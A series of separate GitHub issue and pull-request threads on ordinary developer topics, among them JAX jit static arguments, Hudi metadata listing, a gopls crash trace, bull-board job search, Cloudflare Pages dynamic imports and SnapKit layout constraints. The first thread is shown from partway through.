@jax.partial(jit, static_argnums=1)  # jit with axis being static
def test(inputs, axis):  # no default value for axis as `test` needs to be called with all arguments
    mean=jnp.mean(inputs,axis=axis,keepdims=True)

input_shape=(8,16)
inputs=np.random.uniform(size=input_shape)
test(inputs, (0,))  # `test` needs to be called with all arguments

I marked the changes with comments.

this was very useful, thanks!
A few follow-up Q's:

is there a way to use jit with optional arguments? This can be helpful if one has a number of jitted functions (e.g. different type of nonlinearities in a neural network) which accept the same fixed arguments but whose number of optional arguments differs.

is there a way for a jitted function to change the value of an optional argument in the function body? E.g., you pass an optional argument (of a fixed shape and data type) with a certain value and when the jitted function call is complete, the value of that variable passed into the argument has been updated?

if a function calls in its body other sub-functions, is there any advantage to jit the separate sub-functions or does jitting the outermost function offer the same speed/advantages?

could someone clarify what causes this behavior?

The output shape of mean and ultimately your function depend on the value of the axis argument. For jit to work, the shapes of the output (and everything in between) may only depend on the shapes of the input arguments -- not on their values.

is there a way to use jit with optional arguments?

Yes, this is generally possible. Afaik it's not possible only for a 'static' argument (as is the case in your function) because functions with static_argnums have to be called with all positional arguments (see the docstring). I.e., the 'static' argument has to be positional, so can't be optional. That's the way I understand it -- I'd be interested in input from jax devs.

is there a way for a jitted function to change the value of an optional argument in the function body?

I'm not sure if I understand you correctly, but jit'ed functions (or functions on DeviceArrays in general) don't have side effects, in that you can not change values of a DeviceArray in-place inside a function. So if you pass a DeviceArray to a function, the function will not alter this array. Maybe you could share a snippet to clarify what you mean.

if a function calls in its body other sub-functions, is there any advantage to jit the separate sub-functions or does jitting the outermost function offer the same speed/advantages?

Afaik, no. If your code allows it, jit the outermost function. Jit'ing subfunctions may be viable if your outermost function has control flow that can not be jit'ed.

Thanks!
About Q2 above: you did understand my question; I am aware than DeviceArrays cannot be updated in-place, which is how you would solve this in pure python. I was thinking along the lines of a cpp code, where I can define a variable outside my function, and then pass a pointer to that variable into that function to change the value at the memory address of the pointer inside the function body. Even though jax operates on a GPU, I don't see why this cannot be done. E.g., my variable can be stored on the CPU to avoid memory issues, etc; or if its size is not too big, it can also be stored on the GPU but then we need a way to access the values externally without the function returning that variable.
To give a concrete example: consider a batchnorm layer function which normalizes a minibatch of data to zero mean and unit variance. A batchnorm layer requires to actively compute the minibatch mean and variance during training, but it also has to passively use some fixed mean and variance during inference (so that we can evaluate in a meaningful way single-data point samples once training is complete), https://arxiv.org/pdf/1502.03167.pdf.
I am trying to write a batchnorm function in jax which has a parameter to toggle the mode from training to inference. But the inference mode requires me to pass the values of the mean and variance computed during training. In python this is trivial: I pass the mean and variance and update their memory views in-place during training while using their fixed values directly for evaluation during inference.
I am currently exploring ideas trying trick jit by passing a dictionary which contains the mean and variance to be updated during training but I'm not too optimistic it'll work. What I know works for sure is to do training without jit and use jit only for inference but this is not optimal.
Another related Q: can jit be applied on entire classes? I've seen numba offers such an option but there the use of jit is fundamentally different as far as I understand.

is there a way to use jit with optional arguments?

Yes, this is generally possible. Afaik it's not possible only for a 'static' argument (as is the case in your function) because functions with static_argnums have to be called with all positional arguments (see the docstring). I.e., the 'static' argument has to be positional, so can't be optional. That's the way I understand it -- I'd be interested in input from jax devs.

The standard way to handle this is to jit a private helper function -- see https://github.com/google/jax/issues/1925#issuecomment-569800183 for an example.

Another related Q: can jit be applied on entire classes? I've seen numba offers such an option but there the use of jit is fundamentally different as far as I understand.

No, you can't jit entire classes, but you can jit methods on classes (you will need to mark self with static_argnums). Keep in mind that if your classes have any mutable state that this will break, however.

To give a concrete example: consider a batchnorm layer function which normalizes a minibatch of data to zero mean and unit variance. A batchnorm layer requires to actively compute the minibatch mean and variance during training, but it also has to passively use some fixed mean and variance during inference (so that we can evaluate in a meaningful way single-data point samples once training is complete), https://arxiv.org/pdf/1502.03167.pdf.
I am trying to write a batchnorm function in jax which has a parameter to toggle the mode from training to inference. But the inference mode requires me to pass the values of the mean and variance computed during training. In python this is trivial: I pass the mean and variance and update their memory views in-place during training while using their fixed values directly for evaluation during inference.
I am currently exploring ideas trying trick jit by passing a dictionary which contains the mean and variance to be updated during training but I'm not too optimistic it'll work. What I know works for sure is to do training without jit and use jit only for inference but this is not optimal.

This is definitely something that's nontrivial to do in JAX, because jax.jit doesn't respect Python references/object identity (a kind of impurity or side effect in Python code). In general there are a few options: you can pass things like the running mean and variance as arguments (make the dataflow completely explicit), you can use impure sugar like in github.com/JuliusKunze/jaxnet to create the explicit-dataflow function, or you can use something in between like #1803 (where the dataflow is explicit but driven by stringy tags).

@jekbradbury I like the tagging feature from #1660 / #1803 and I think this should let me do exactly what I want, as I have an intermediate calculation  (the mean and variance), the values of which I want to access independently. But it looks like these changes are not yet merged into master, and I'd like to keep my code master-branch compatible. Any ideas on the timeframe you're planning to merge #1660 / #1803 into master?

Predictions are hard, especially about the future, but we're working on it! I'll say "sometime this quarter" is likely.
If you add yourself to #1803 (e.g. by leaving a comment) you'll get notified as we make progress.
In the meantime, can we close this issue? @mgbukov were your questions answered?

Yes, let me close this issue.


[SUPPORT] Schema Evolution in MR Reading of Hudi Causes Metadata List Request for Each Split

Tips before filing an issue

Have you gone through our FAQs?

Join the mailing list to engage in conversations and get faster support at<EMAIL_ADDRESS>

If you have triaged this as a bug, then file an issue directly.

Describe the problem you faced
HUDI-5000 introduced schema evolution for Hive reading Hudi tables, causing the HoodieParquetInputFormat to create a metaClient for each split. Constructing a metaClient requires listing the Hudi table metadata directory, which puts significant pressure on the HDFS NameNode when there are a large number of splits.
If the user is certain that there will be no schema changes, this overhead is unnecessary. Although the current implementation supports controlling schema evolution via the hudi.hive.schema.evolution parameter, it does not skip schema evolution when this parameter is explicitly set to false. Consequently, the metaClient is still created, and the metadata directory is listed.
I propose that when hudi.hive.schema.evolution is explicitly set to false, the construction of the metaClient should be skipped. This way, the doEvolutionForRealtimeInputFormat method would return immediately if the internalSchemaOption is empty, avoiding unnecessary metadata directory listing.
I am looking for suggestions or best practices on how to optimize this process. Specifically, I would like to know if there are any strategies or configurations that can reduce the number of list requests initiated during split reads while schema evolution is enabled.

To Reproduce
Steps to reproduce the behavior:

Expected behavior
A clear and concise description of what you expected to happen.
Environment Description

Hudi version :

Spark version :

Hive version :

Hadoop version :

Storage (HDFS/S3/GCS..) :

Running on Docker? (yes/no) :

Additional context
Add any other context about the problem here.
Stacktrace
Add the stacktrace of the error.

The metaClient only list metadata files with call of #getActiveTimeline, which is triggered by #getLatestCommitMetadataWithValidSchema, so I think your analysis is reasonable. Maybe we can just pass around the Option<InternalSchema> to the constructor of SchemaEvolutionContext, currently one reader handles one HoodieRealtimeFileSplit, so maybe we can change it to share a singleton Option<InternalSchema> for each reader.

The metaClient only list metadata files with call of #getActiveTimeline, which is triggered by #getLatestCommitMetadataWithValidSchema, so I think your analysis is reasonable. Maybe we can just pass around the Option<InternalSchema> to the constructor of SchemaEvolutionContext, currently one reader handles one HoodieRealtimeFileSplit, so maybe we can change it to share a singleton Option<InternalSchema> for each reader.

Thank you for your reply. You are right; metadata files are only listed when calling  #getActiveTimeline, and constructing the metaClient only reads the hoodie.properties file. Using a singleton Option<InternalSchema> is a great idea. Specifically, maybe we can fetch the InternalSchema during the split computation and place it into the JobConf, so that each reader can directly obtain the schema from the JobConf.

The metaClient only list metadata files with call of #getActiveTimeline, which is triggered by #getLatestCommitMetadataWithValidSchema, so I think your analysis is reasonable. Maybe we can just pass around the Option<InternalSchema> to the constructor of SchemaEvolutionContext, currently one reader handles one HoodieRealtimeFileSplit, so maybe we can change it to share a singleton Option<InternalSchema> for each reader.

Thank you for your reply. You are right, metadata files are only listed when calling #getActiveTimeline, and constructing the metaClient only reads the hoodie.properties file. Using a singleton Option<InternalSchema> is a great idea. Specifically, maybe we can fetch the InternalSchema during the split computation and place it into the JobConf, so that each reader can directly obtain the schema from the JobConf.

And maybe place InternalSchema into JobConf only when hudi.hive.schema.evolution is true.

yeah, let's give it a try, can you fire a fix for it?

sure, I'll do it.


Setup Antora for publishing documentation from https://github.com/admin-shell-io/aas-specs-api/tree/asciidoc/documentation/IDTA-01002-3/modules/ROOT

Provided source is not suited to work with antora. The directory structure is nested way too much, which can be accomodated but for simplicity if the source is only one directory away, that would be optimal.
Also there are no .yml files for antora to use. Should I open issues in the respective repository?

Antora.yml files are missing and the structure is not ok as I already mentioned in the repository. Also the files are bad, in a sense that they try to declare their own style elements whereas all of this should be handled in the ui, which it is. Opened
These files in the repo are the same files we already have deployed. In the repository, is there a specific page or file that is not in our branch, that we want deployed? Because my impression is that they are the same content. If there are any, please point them out. If they are not suitable to be used with antora yet just like the one I already mentioned, I will import them into our branch and do the necessary changes. If it is ok, I will just pull from the repo itself.
Other than that, we are not quite ready for github CI and automation yet. I will create the necessary infrastructure, but we are not ready to activate this, because the source repos are still not set properly, as we use our own branch as the source.
I can create pull requests in the upstream repo with our novel filestructure and content. After they get accepted, if at all, we can delete the orphan branch and depend on upstream sources completely as planned. After that automation can be activated.
How should I proceed?
@zrgt

Other than that, we are not quite ready for github CI and automation yet. I will create the necessary infrastructure, but we are not ready to activate this, because the source repos are still not set properly, as we use our own branch as the source.

I already did this, but as I said makes not much sense. It is set to run every day at 00:00, so once a day. We build the website, ppulling the resources from the repos, and then publish it.

Added currently desired sources to antora playbook and opened issues upstream whereveer applicable to address the problems that occur, so closing here.


Roman/feature/shopping cart

Travis automatic deployment: https://36-pr-daipos.surge.sh

Travis automatic deployment: https://36-pr-daipos.surge.sh

Travis automatic deployment: https://36-pr-daipos.surge.sh

Travis automatic deployment: https://36-pr-daipos.surge.sh

Travis automatic deployment: https://36-pr-daipos.surge.sh


could I create an png image with an lucency background?

As the request in Title. Now I need to create an qrcode image with an lucency background. But I could not found any feature to do in this lib. Does I missing something?
Hope to get you help quickly.
Best Wishes.

->setBackgroundColor(['a' => 127, 'r' => 0, 'g' => 0, 'b' => 0])
use the 'a' => 127


Add .ics file creation

Added functionality to create .ics (iCalendar) file
Added file format selection menu, that allows to choose in which format you would like to receive a calendar (like other selection of departments and courses)
Slightly changed .csv header (all words to uppercase)
Typos fixes

Please add *.ics to .gitignore and remove the data file from the PR

Also you can just use the CalendarEvent class for ics, just add the ics functions under that

Don't approve just yet. Will tweak some things a little bit later.

Merged

@all-contributors please add @Wolferado for code


x/tools/gopls: crash - index out of range

Hey there,
I manually keep gopls at current master to track upcoming changes.
This morning, VSCode warned me that it had stopped restarting gopls due to it crashing too many times (installed commit: f7ea15e6, go version go1.13.4 darwin/amd64):
2019/11/08 08:55:07 : go/packages.Load: no packages found for ./...
[Info  - 8:55:07 AM] 2019/11/08 08:55:07 go/packages.Load
	packages = 0
[Error - 8:55:07 AM] 2019/11/08 08:55:07 : go/packages.Load: no packages found for ./...
panic: runtime error: index out of range [0] with length 0

goroutine 14 [running]:
golang.org/x/tools/internal/lsp/cache.(*session).bestView(0xc0000bd8c0, 0xc00038c000, 0x66, 0x0, 0x0)
	/Users/bhatfield/go/src/github.com/golang/tools/internal/lsp/cache/session.go:217 +0x18f
golang.org/x/tools/internal/lsp/cache.(*session).DidOpen(0xc0000bd8c0, 0x18337c0, 0xc0001fa5a0, 0xc00038c000, 0x66, 0x0, 0xc000394c00, 0xbb6, 0xc00, 0x1601d60, ...)
	/Users/bhatfield/go/src/github.com/golang/tools/internal/lsp/cache/session.go:254 +0x2b8
golang.org/x/tools/internal/lsp.(*Server).didOpen(0xc0001ced20, 0x18337c0, 0xc0001fa5a0, 0xc000288700, 0x0, 0xc000388000)
	/Users/bhatfield/go/src/github.com/golang/tools/internal/lsp/text_synchronization.go:29 +0x15e
golang.org/x/tools/internal/lsp.(*Server).DidOpen(0xc0001ced20, 0x18337c0, 0xc0001fa5a0, 0xc000288700, 0xc000288700, 0x0)
	/Users/bhatfield/go/src/github.com/golang/tools/internal/lsp/server.go:135 +0x49
golang.org/x/tools/internal/lsp/protocol.serverHandler.Deliver(0x18484c0, 0xc0001ced20, 0x18337c0, 0xc0001fa5a0, 0xc0001cd8c0, 0xc0001fa500, 0xc00027a000)
	/Users/bhatfield/go/src/github.com/golang/tools/internal/lsp/protocol/tsserver.go:111 +0x1b66
golang.org/x/tools/internal/jsonrpc2.(*Conn).Run.func1(0xc00002e660, 0xc0001cd8c0, 0xc0001ced80, 0x18337c0, 0xc0001fa5a0, 0x0, 0x0, 0xc0002000b0)
	/Users/bhatfield/go/src/github.com/golang/tools/internal/jsonrpc2/jsonrpc2.go:370 +0x170
created by golang.org/x/tools/internal/jsonrpc2.(*Conn).Run
	/Users/bhatfield/go/src/github.com/golang/tools/internal/jsonrpc2/jsonrpc2.go:354 +0x877
[Error - 8:55:07 AM] Connection to server got closed. Server will not be restarted.
[Error - 8:55:07 AM] Request textDocument/documentSymbol failed.
Error: Connection got disposed.
	at Object.dispose (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/main.js:876:25)
	at Object.dispose (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-languageclient/lib/client.js:71:35)
	at LanguageClient.handleConnectionClosed (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-languageclient/lib/client.js:2153:42)
	at LanguageClient.handleConnectionClosed (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-languageclient/lib/main.js:151:15)
	at closeHandler (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-languageclient/lib/client.js:2140:18)
	at CallbackList.invoke (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/events.js:62:39)
	at Emitter.fire (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/events.js:120:36)
	at closeHandler (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/main.js:226:26)
	at CallbackList.invoke (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/events.js:62:39)
	at Emitter.fire (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/events.js:120:36)
	at StreamMessageReader.fireClose (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/messageReader.js:111:27)
	at Socket.<anonymous> (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/messageReader.js:151:46)
	at Socket.emit (events.js:205:15)
	at Pipe.<anonymous> (net.js:586:12)
[Error - 8:55:07 AM] Request textDocument/documentLink failed.
Error: Connection got disposed.
	at Object.dispose (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/main.js:876:25)
	at Object.dispose (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-languageclient/lib/client.js:71:35)
	at LanguageClient.handleConnectionClosed (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-languageclient/lib/client.js:2153:42)
	at LanguageClient.handleConnectionClosed (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-languageclient/lib/main.js:151:15)
	at closeHandler (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-languageclient/lib/client.js:2140:18)
	at CallbackList.invoke (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/events.js:62:39)
	at Emitter.fire (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/events.js:120:36)
	at closeHandler (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/main.js:226:26)
	at CallbackList.invoke (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/events.js:62:39)
	at Emitter.fire (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/events.js:120:36)
	at StreamMessageReader.fireClose (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/messageReader.js:111:27)
	at Socket.<anonymous> (/Users/bhatfield/.vscode/extensions/ms-vscode.go-0.11.9/node_modules/vscode-jsonrpc/lib/messageReader.js:151:46)
	at Socket.emit (events.js:205:15)
	at Pipe.<anonymous> (net.js:586:12)

Hi, I think I have an idea where this is happening: I'm wondering if you could provide some information about the workspace you opened VSCode in: Specifically

Is your workspace in a module?
Is your workspace empty or are there packages inside of it?

Sure!
The VSCode workspace features multiple directories mapped together (ie, our go monorepo, our frontend code, etc).
The go directory is in a module.
The root of the go directory contains a module, but all of the packages within it start at least two levels deep. As an example:
./go.mod
./shared/<packagename>
./services/<servicename>

I believe there are 0 packages closer than 2 directories away from the root, due to code organization reasons. All of the go tools (go build, go mod, etc) seem to work totally fine with this organization structure.

Just to make sure I understand, each of the directories in your VSCode workspace are root directories of a module (that is, each of them contain go.mod files) right?

No - only one does. The rest are not go related:

In that image, frontend-webapp and development are separate repositories, in separate folders, mapped into the workspace via VSCode's "Add Folder to Workspace..." feature. These mapped workspace directories do not exist in a common location on the underlying filesystem.
In the image, go-services is a go monorepo (subdirectories redacted) containing many different packages (200+) but everything shares just one common go.mod at the root. go-services is the only mapped workspace folder containing go-related code.

@bmhatfield, Could you patch in https://golang.org/cl/206140 and let us know if it works?

Confirmed that it's working for me locally:
[Info  - 12:40:33 PM] 2019/11/08 12:40:33 go/packages.Load
	packages = 0
[Info  - 12:40:33 PM] 2019/11/08 12:40:33 go/packages.Load
	packages = 0
[Info  - 12:40:33 PM] 2019/11/08 12:40:33 go/packages.Load
	packages = 0
[Info  - 12:40:47 PM] 2019/11/08 12:40:47 go/packages.Load
	packages = 0
[Info  - 12:40:47 PM] 2019/11/08 12:40:47 go/packages.Load
	packages = 0
[Info  - 12:40:50 PM] 2019/11/08 12:40:50 go/packages.Load
	packages = 374

(the first 5 packages = 0 line up with the 5 non-go mapped folders in my workspace, I believe)

Thanks for the fast turnaround!


Error on running the python script int_ref_topology.py

Hi,
We got the following error while running the test python script int_ref_topology.py
Traceback (most recent call last):
File "./int_ref_topology.py", line 107, in
run_cfg()
File "./int_ref_topology.py", line 83, in run_cfg
net = mgr.setupAndStartNetwork()
File "/home/dannyxx001/git_repositories/p4lang/p4factory/mininet/int_cfg.py", line 114, in setupAndStartNetwork
self.addLinks()
File "/home/dannyxx001/git_repositories/p4lang/p4factory/mininet/int_cfg.py", line 169, in addLinks
self.net.addLink( n1, n2, port1 = l.port1 + 1, fast=False, bw=5)
File "build/bdist.linux-x86_64/egg/mininet/net.py", line 366, in addLink
File "build/bdist.linux-x86_64/egg/mininet/link.py", line 534, in init
File "build/bdist.linux-x86_64/egg/mininet/link.py", line 424, in init
File "build/bdist.linux-x86_64/egg/mininet/link.py", line 468, in makeIntfPair
File "build/bdist.linux-x86_64/egg/mininet/util.py", line 194, in makeIntfPair
Exception: Error creating interface pair (leaf1-eth1,h1-eth0): RTNETLINK answers: No such process
Could you please check this issue.
Thanks,
Danny Ye

Excuse me, I found a solution that I should type "sudo make develop" in mininet repository to create symbolic links from /usr/python/... to my source tree. So it was the problem that I was negligent to do this. Sorry for bothering you. Thanks.


Possibility to find a job in queue by it's ID

At the moment we have the list of all jobs in a queue separated in different tabs by it's status
But  there is no possibility to find a job by it's ID and investigate it in case if needed
Imagine having a platform even if small but which handles let's say 1000 jobs a day
In that list it would be hard to go manually thru all and find the one you need
A small filter at the top would be super useful to find a job

Hi, would you like to prepare a PR for this feature? I'll more than happy to review it 😉

Hi, would you like to prepare a PR for this feature? I'll more than happy to review it 😉

Hello, I'd like to contribute to this project. Is there any project documentation that could help me quickly understand the architecture and add functionalities?

Nope, just review the ui & api folders in packages

There is already a route GET /api/queues/:queueName/:jobId. I think just a UI element calling this endpoint will work. Let me know if I am wrong @felixmosh

Yeah, you are probably right... But it will return always one / zero result.
I prefer to implement a full search (once the underline lib will add it, vote for my request)

At least by ID would be good as Initial step
after this search may be extended and search by something else
I do not think that bullmq will add ever a fullsearch capability since it uses redis and to do something as full search with redis is hard
At the beginning it may be just by ID at least, since a lot of peoples just stores the IDs related to some job in a simple database so that they can cancel later or do some investigation if needed

I agree. It's unlikely that bullmq will provide a fullsearch. To implement fullsearch from our side we will need to store the index in redis, if bullmq exports the redis client. Still it would not be best to utilise redis resources from the bull-board. Our best bet is to implement search by ID

Thanks @suyash-thakur
That would be great if you can open such PR
I think this feature will help a lot of peoples to investigate their jobs

I recently had to implement a search by job id prefix and I believe we could use the same approach for a simple job search engine. It's still not a full search but it adds a level of flexibility in the searches.
The code is pretty straightforward:
import { Queue, Job } from "bullmq";

export const getJobsByIdPrefix = async (queue: Queue, idPrefix: string, COUNT = 1000) => {
	const client = await queue.client;

	const BASE_MATCH = `bull:${queue.name}:`;
	const MATCH = `${BASE_MATCH}${idPrefix}*`;
	const [_, keys] = await client.scan(0, "MATCH", MATCH, "COUNT", COUNT);

	const promises = keys.map((key) => {
		const jobId = key.replace(BASE_MATCH, "");
		return Job.fromId(queue, jobId);
	});

	return Promise.all(promises);
}

@suyash-thakur @felixmosh  What do you think about this approach?

You are using details that related to the storage (implementation details).
I don't want to know / use things that are not documented.


Why it has to connect to Xiaomi app through Internet?

I'm wondering why this hack does not workaround the necessity of connecting to Xiaomi app through Internet?
Can we just configure the WIFI router and camera pair using local configuration file in the SD card? Such would be much more straightforward and less 'region locked' hassle involved and better privacy protection.

See the wiki: https://github.com/roleoroleo/yi-hack-Allwinner-v2/wiki/Change-WiFi-credentials

Thank you, @roleoroleo
I've managed to connect to my WIFI without Internet following the guidance you gave above.
Then I came to http://IP-CAM:8080 to try out the listed features and found following features work

rtsp://IP-CAM/ch0_2.h264 (only audio)
PTZ movement control

But following features do not work

rtsp://IP-CAM/ch0_0.h264 (high res)
rtsp://IP-CAM/ch0_1.h264 (low res)
http://IP-CAM:8080/cgi-bin/snapshot.sh?res=high&watermark=yes
http://IP-CAM:8080/cgi-bin/snapshot.sh?res=low&watermark=yes

The oddest thing is I put my camera just atop my WIFI router, but the "WiFi Strength" indicator shows me 0%.
Could you help advise more on how to fix these issues? Thanks in advance.


Copying / moving files: file attributes (e. g. date) are not carried over

TODO: add tests for copy and move in various scenarios.

Seems to work now as of b16a8cd


 I am trying to make it walk and pinch.

schiet ns op joh


feat(cloudflare-pages): improve cloudflare-pages adaptor to use dynamic imports

Warning
Opening this as a draft since it looks like wrangler needs a small tweak to enable this: https://github.com/cloudflare/workers-sdk/pull/3707

❓ Type of change

[ ] 📖 Documentation (updates to the documentation, readme, or JSdoc annotations)
[ ] 🐞 Bug fix (a non-breaking change that fixes an issue)
[ ] 👌 Enhancement (improving an existing functionality like performance)
[x] ✨ New feature (a non-breaking change that adds functionality)
[ ] 🧹 Chore (updates to the build process or auxiliary tools and libraries)
[ ] ⚠ Breaking change (fix or feature that would cause existing functionality to change)

📚 Description
Update the Cloudflare Pages to use dynamic imports instead of bundling all the js into a single _worker.js file, this should make the adapter more performant and potentially reduce startup time
📝 Checklist

[ ] I have linked an issue or discussion.
[ ] I have updated the documentation accordingly.

I'll tag this as pending until https://github.com/cloudflare/workers-sdk/pull/3707 is merged 👍🏽

Thanks for the PR and followups dear @dario-piotrowicz ❤ I have merged your work into #1172 from @danielroe to track both module and pages enabling from one place.

Hi @pi0 I did open this PR separately because the pages dynamic imports should be available very soon (after
https://github.com/cloudflare/workers-sdk/pull/3707 is merged and a new version of wrangler is released)
Unfortunately I don't have an ETA as to when this is going to be available for workers.
So I was hoping that we could start using dynamic imports in the pages adaptor now and then do that in the module worker adaptor whenever possible.
If you believe that the two adaptors should be updated simultaneously I understand :slightly_smiling_face:
(but again I am not sure when the worker lazy loading will be properly supported :sweat:)

Oh, thanks for the explanations wasn't aware of separate roadmaps. I can happily reopen here to speed it up or merge daniel's PR via an opt-in futuristic flag to make sure nitro is really already (and somehow locally tested).
Also BTW we have an UnJS discord channel for team communications. Would you be interested to join? (please DM me at pi0)

@pi0 just pinged you on discord 🙂
Regarding Pages and Workers sorry my bad for not mentioning anything in the PR's description 🙇
Regarding this PR vs merging Daniel's I'm fine with whatever you prefer 🙂 (as long as we don't break the Workers adaptor naturally), although we can't test the lazy loading worker adaptor right now and be sure that it is actually fully ready (since there's not yet a wrangler built which fixes the workers' lazy loading issue), so if we were to go with Daniel's PR there might still be a small chance that things will still need to be tweaked later on (which again, it's not terrible and I'd be fine with if that's an acceptable situation).


SQLite.swift and SQLCipher

Hi.
The readme file contains the option “SQLCipher support via CocoaPods”. I created an empty project and wrote this pod file:
platform :ios, '14.0'

use_frameworks!

target 'TestSQL' do

  #DB
  pod 'SQLCipher', '4.5.5'

  #SQLite
  pod 'SQLite.swift', '~> 0.14.0'

end

post_install do |installer|
  installer.pods_project.targets.each do |target|
    target.build_configurations.each do |config|
      config.build_settings['IPHONEOS_DEPLOYMENT_TARGET'] = '14.0'
    end
  end
end

But I can't run the project:

Can anyone tell me how I can use both of these platforms?
Integration: Cocoapods
Xcode: 15.2
MacOS: 14.4.1
SQLite.swift version: 0.13.3, 0.15.1

Sorry. I didn't read the documentation.


Env vars HOST_CLUSTER_KUBECONFIG and HOST_CLUSTER_CONTEXT was not defined before in quick start

In quickstart "Source the kubeconfig of the host cluster", shall I define HOST_CLUSTER_KUBECONFIG and HOST_CLUSTER_CONTEXT in my bash profile manually?

HOST_CLUSTER_KUBECONFIG and HOST_CLUSTER_CONTEXT are meant to be replaced with the actual values of the host cluster. There's no need to modify your shell profile :)
If you reached this step right after following the "Installation" section, HOST_CLUSTER_KUBECONFIG should be $HOME/.kube/kubeadmiral/kubeadmiral-host.yaml and HOST_CLUSTER_CONTEXT should be kind-kubeadmiral-host.


vi-admin should recognize if a request respond with 401 (Unauthorized) or 403 (Forbidden)

This happens for example if

a canAdd, canDelete, … method disallows this action

Mostly this crashes the vi-admin and requires a refresh (at least of the current module)

fixes in v4.0.20


Require JSDocs for api

To help with maintenance of the new api, we want a lint rule to require JSDoc comments on exported functions.

Why tho? we have TypeScript

Naomi and I discussed a bit in chat https://chat.freecodecamp.org/group/dev-team?msg=4PoegPD6fTDStuNod, but the gist was: yes TS and good variable names are helpful, but JSDocs make intellisense even more helpful.
For example, Cypress has awesome JSDocs, so you can see almost everything you need by mousing over a function. Fastify, in contrast, relies on the types which are pretty opaque, so you have no choice but to go to their docs.
I think it's worth trying them out in the new api. If it turns out to be too annoying we can always disable the rule.


Parsing source maps is loading the platform

This issue has been mirrored in Jira: https://reddata.atlassian.net/browse/GROK-16619


Unable to simultaneously satisfy constraints

New Issue Checklist

[X] I have looked at the Documentation
[X] I have read the F.A.Q.

Environment / Configuration
Platform

[ ] OS X
[X] iOS

Versions

Platform version is: 9.2
SnapKit version is: 0.19.1

Integration

[ ] Carthage
[X] Cocoapods
[ ] Manually / Other

Issue
I am struggling with getting even the Basic Masonry example to work with SnapKit.  I have tried to replicate the Masonry example as best as I could with SnapKit (though there are some constructs that don't translate).  My code is:
        let greenView = UIView()
        greenView.backgroundColor = UIColor.greenColor()
        greenView.layer.borderColor = UIColor.blackColor().CGColor
        greenView.layer.borderWidth = 2
        self.addSubview(greenView)

        let redView = UIView()
        redView.backgroundColor = UIColor.redColor()
        redView.layer.borderColor = UIColor.blackColor().CGColor
        redView.layer.borderWidth = 2
        self.addSubview(redView)

        let blueView = UIView()
        blueView.backgroundColor = UIColor.blueColor()
        blueView.layer.borderColor = UIColor.blackColor().CGColor
        blueView.layer.borderWidth = 2
        self.addSubview(blueView)

        let superview = self;
        let padding = 10;

        greenView.snp_makeConstraints { (make) -> Void in
            make.top.equalTo(superview.topAnchor).offset(padding);
            make.left.equalTo(superview.leftAnchor).offset(padding);
            make.bottom.equalTo(blueView.topAnchor).offset(-padding);
            make.right.equalTo(redView.leftAnchor).offset(-padding);
            make.width.equalTo(redView.widthAnchor);

            make.height.equalTo(redView.heightAnchor);
            make.height.equalTo(blueView.heightAnchor);
        }

        redView.snp_makeConstraints { (make) -> Void in
            make.top.equalTo(superview.topAnchor).offset(padding);
            make.left.equalTo(greenView.rightAnchor).offset(padding);
            make.bottom.equalTo(blueView.topAnchor).offset(-padding);
            make.right.equalTo(superview.rightAnchor).offset(-padding);
            make.width.equalTo(greenView.widthAnchor);
            // no SnapKit equivalent for "make.height.equalTo(@[greenView, blueView]); //can pass array of views"?
            make.height.equalTo(greenView.height)
            // make.height.equalTo(blueView.height)
        }

        blueView.snp_makeConstraints { (make) -> Void in
            make.top.equalTo(greenView.bottomAnchor).offset(padding);
            make.left.equalTo(superview.leftAnchor).offset(padding);
            make.bottom.equalTo(superview.bottomAnchor).offset(-padding);
            make.right.equalTo(superview.rightAnchor).offset(-padding);

            // no SnapKit equivalent for<EMAIL_ADDRESS>redView.mas_height]); //can pass array of attributes"?
            make.height.equalTo(greenView.heightAnchor)
            // make.height.equalTo(redView.heightAnchor)
        }

When I run this, I see the following in the debug log, and I'm not sure what I'm doing wrong:
2016-03-11 11:44:09.856 SnapKitPOC[59276:9637922] Unable to simultaneously satisfy constraints.
	Probably at least one of the constraints in the following list is one you don't want.
	Try this:
		(1) look at each constraint and try to figure out which you don't expect;
		(2) find the code that added the unwanted constraint or constraints and fix it.
(
<EMAIL_ADDRESS>UIView:0x7fb381641910.width == 0.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641910.left == SnapKitPOC.ExampleBasicView:0x7fb381641350.left + 10.0>",
<EMAIL_ADDRESS>UIView:0x7fb381641910.right == SnapKitPOC.ExampleBasicView:0x7fb381641350.right - 10.0>",
